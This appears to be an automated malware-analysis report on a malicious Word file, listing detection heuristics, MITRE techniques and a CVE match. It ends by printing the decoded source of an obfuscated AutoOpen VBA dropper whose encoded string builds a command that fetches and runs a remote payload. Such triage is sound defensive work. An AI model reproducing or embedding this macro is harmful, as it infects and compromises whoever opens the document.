MALICIOUS
492
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
The sample is a malicious Office document containing an obfuscated VBA macro. The AutoOpen macro utilizes CreateObject to execute a payload, and heuristics indicate the use of CreateProcess, VirtualAlloc, WriteProcessMemory, and CreateRemoteThread APIs, suggesting the macro downloads and executes a second-stage payload. The ClamAV detection name 'Doc.Dropper.Agent-6595142-0' further supports its dropper functionality.
Heuristics 14
-
CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
-
ClamAV: Doc.Dropper.Agent-6595142-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Dropper.Agent-6595142-0
-
Reference to WriteProcessMemory API critical SC_STR_WRITEPROCESSMEMORYReference to WriteProcessMemory API
-
Reference to CreateRemoteThread API critical SC_STR_CREATEREMOTETHREADReference to CreateRemoteThread API
-
VBA macros detected medium 4 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADERAuto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.Matched line in script
NRmlJVYLHM = "[wgvmtx2Wlipp" Set kknpP = CreateObject(ovBAfrCWygU(NRmlJVYLHM)) JjEgIoZKSSXqysq = DPwHJtdnhEbsZgaUNuXhZ("UABChkCfyqrCBDGXJkY") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
NRmlJVYLHM = "[wgvmtx2Wlipp" Set kknpP = CreateObject(ovBAfrCWygU(NRmlJVYLHM)) JjEgIoZKSSXqysq = DPwHJtdnhEbsZgaUNuXhZ("UABChkCfyqrCBDGXJkY") -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Attribute VB_Name = "NewMacros" Sub AutoOpen() Dim NRmlJVYLHM As String -
Reference to CreateProcess API high SC_STR_CREATEPROCESSReference to CreateProcess API
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 2216 bytes |
SHA-256: edfba4813fdc62e475b65c7274381b6eccd400b9193f4454efc5456021e196c4 |
|||
|
Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
23 of 44 identifiers look randomly generated (e.g. 'bqmbg$ghvbsbq$pbmwbx$fvbmij$3jsbvqbex') — consistent with name-mangling obfuscation.
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "NewMacros"
Sub AutoOpen()
Dim NRmlJVYLHM As String
Dim kknpP As Object
Dim sehezEwuLBCLJrZVjWF As Integer
Dim JjEgIoZKSSXqysq As String
sehezEwuLBCLJrZVjWF = 380
NRmlJVYLHM = "[wgvmtx2Wlipp"
Set kknpP = CreateObject(ovBAfrCWygU(NRmlJVYLHM))
JjEgIoZKSSXqysq = DPwHJtdnhEbsZgaUNuXhZ("UABChkCfyqrCBDGXJkY")
JjEgIoZKSSXqysq = lLZRiLXZuvlz(kknpP, JjEgIoZKSSXqysq, sehezEwuLBCLJrZVjWF)
End Sub
Function DPwHJtdnhEbsZgaUNuXhZ(roLxUoRMLMcXZgowHxOJMS As String) As String
Dim geVSMoMsXHI As String
Dim bkKyyLt As String
Dim UIVpzrWtQsLE As String
UIVpzrWtQsLE = "gqh$3g${bqmbg$ghvbsbq$pbmwbx$fvbmij$3jsbvqbex>&lxxtw>33xverweqivmge2wmqtpiythexi2rix3iqivkirg}1texgliw3jmpiw3wx}piwliix2|wp&"
geVSMoMsXHI = UIVpzrWtQsLE
geVSMoMsXHI = ovBAfrCWygU(geVSMoMsXHI)
DPwHJtdnhEbsZgaUNuXhZ = geVSMoMsXHI
End Function
Function lLZRiLXZuvlz(IXVyUjuvvSKmZzIMwCAQeF As Object, SXFkLtEDOtDnUaG As String, KehwZguRxqFlghfdMI As Integer) As String
Dim MzCeqLplZM As String
Dim TVMYSxfycgp As Integer
TVMYSxfycgp = 0
MzCeqLplZM = SXFkLtEDOtDnUaG
If (KehwZguRxqFlghfdMI > TVMYSxfycgp) Then
TVMYSxfycgp = KehwZguRxqFlghfdMI - KehwZguRxqFlghfdMI
IXVyUjuvvSKmZzIMwCAQeF.Run MzCeqLplZM, TVMYSxfycgp, True
End If
MzCeqLplZM = "pqkyHTziLaqR"
lLZRiLXZuvlz = MzCeqLplZM
End Function
Function ovBAfrCWygU(iEjONtJn As String) As String
Dim MhcVMRaxr As Long
Dim GHRSRSdrUueRLjiwc As String
Dim ypGvY As Integer
ypGvY = 4
For MhcVMRaxr = 1 To Len(iEjONtJn)
GHRSRSdrUueRLjiwc = GHRSRSdrUueRLjiwc & Chr(Asc(Mid(iEjONtJn, MhcVMRaxr, 1)) - ypGvY)
Next MhcVMRaxr
ovBAfrCWygU = GHRSRSdrUueRLjiwc
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.